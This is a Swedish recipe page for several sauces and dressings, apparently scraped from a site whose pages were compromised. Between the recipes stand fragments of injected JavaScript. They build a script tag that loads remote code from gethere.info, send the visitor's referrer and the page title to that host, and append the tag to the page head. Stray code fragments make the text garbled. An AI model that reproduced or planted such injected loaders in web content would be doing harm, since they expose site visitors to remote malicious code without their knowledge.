Kall sås till lax med smak av senap och honung

Recept:
2 dl crème fraiche
1 dl matlagningsyoghurt
2 msk fransk senap
1 msk svensk senap
1 msk honung
salt och peppar

Gör så här: Blanda samman alla ingredienser och låt det stå kallt en stund innan servering. Passar bra till grillat.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Sötsur sås

Här kommer ett enkelt recept på hur man gör en sötsur sås som du kan servera till grillad kyckling, ris och en sallad.

Sötsur sås ( 4 pers)
1 liten burk  ananas
1 st vitlöksklyfta
2 msk rapsolja
3 msk honung
1 dl kycklingbuljong
3 mska rödvinsvinäger
1 tsk tomatpuré
1,5- 2 mska maizenamjöl
Spadet från ananasen

Gör så här:
Finhacka ananasbitarna och vitlöken och fräs i olja i kastrull. Blanda i buljong, rödvinsvinäger, tomatpuré, ananasspad, honung och låt koka upp. Sila av såsen och häll tillbaka i kastrullen. Blanda i maizenamjölet och koka ihop till önskad konsistens. Om du vill kan du lägga i ananasbitar i såsen vid servering.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

God svampsås

3-4 portioner
1 burk blandsvamp (200 gram)
1 liten gul lök
200 gram färska champinjoner
3 msk kalvfond
3 dl grädde
1,5 dl mjölk
2 msk vitt vin
Smör att steka i
Salt
Vitpeppar
2 msk vetemjöl

Gör så här:
Skölj och skär champinjonerna i skivor. Hacka löken. Fräs i smör.
Tillsätt sedan alla övriga ingredienser och låt puttra i ca 15 minuter. Smaka av under tiden med salt, peppar och red ut med 2 msk vetemjöl .

Rödvinsås

Här kommer ett recept på en enkel men otroligt god rödvinsås.
Receptet hittade jag på www.alltommat.se

Rödvinsås (8 personer)
1 st gul lök
2 dl rödvin
4 dl vatten
4 msk kalvfond (koncentrerad)
2 msk tomatpuré
1 tsk timjan
2 krm vitpeppar
2 tsk maizena
1 msk smör

Gör så här:
Skala och finhacka löken.
Koka den tillsammans med vin, vatten, kalvfond och tomatpuré, timjan, och peppar ca 10 minuter.
Jag silar bort löken och häller tillbaks såsen i kastrullen innan jag rör ner Maizena.
Rör ner Maizena utförd i lite kallt vatten.
Låt såsen koka upp och vispa ner smöret.
}

God salladsdressing med örtsalt och dragon (vinegrette)

Den här goda dressingen fick jag prova hemma hos min kompis Christa för ett tag sedan. Den är lätt att göra och sååå god.

Salladsdressing:
1,5 dl rapsolja
0,5 dl äppelcidervinäger
Dragon
Örtsalt
Citronpeppar
ca 1 tsk Salt
2-3 pressade vitlöksklyftor

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Hemgjord Rhode Islandsås

Den här goda  Rhode Islandsåsen använder jag både till sallader och till grillat.

Rhode Islandsås (4 portioner)
1 dl vispgrädde eller 1 1/2 dl gräddfil
1 dl majonnäs
1/2 dl chilisås
1 kryddmått salt (tabasco, sherry eller konjak)
1/2 dl finhackad röd paprika (kan uteslutas)
1-2 msk finhackad persilja

Vispa grädden. Blanda majonnäsen med grädden eller ovispad gräddfil och chilisås. Smaka av med lite salt, ev också med ett par droppar Tabasco och sherry eller konjak. Lite finhackad röd paprika och persilja kan ev blandas i såsen.

TIPS: Såsen kan också göras utan majonnäs med enbart 2-3 dl creme fraiche som blandas med chilisås och kryddor.

 

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);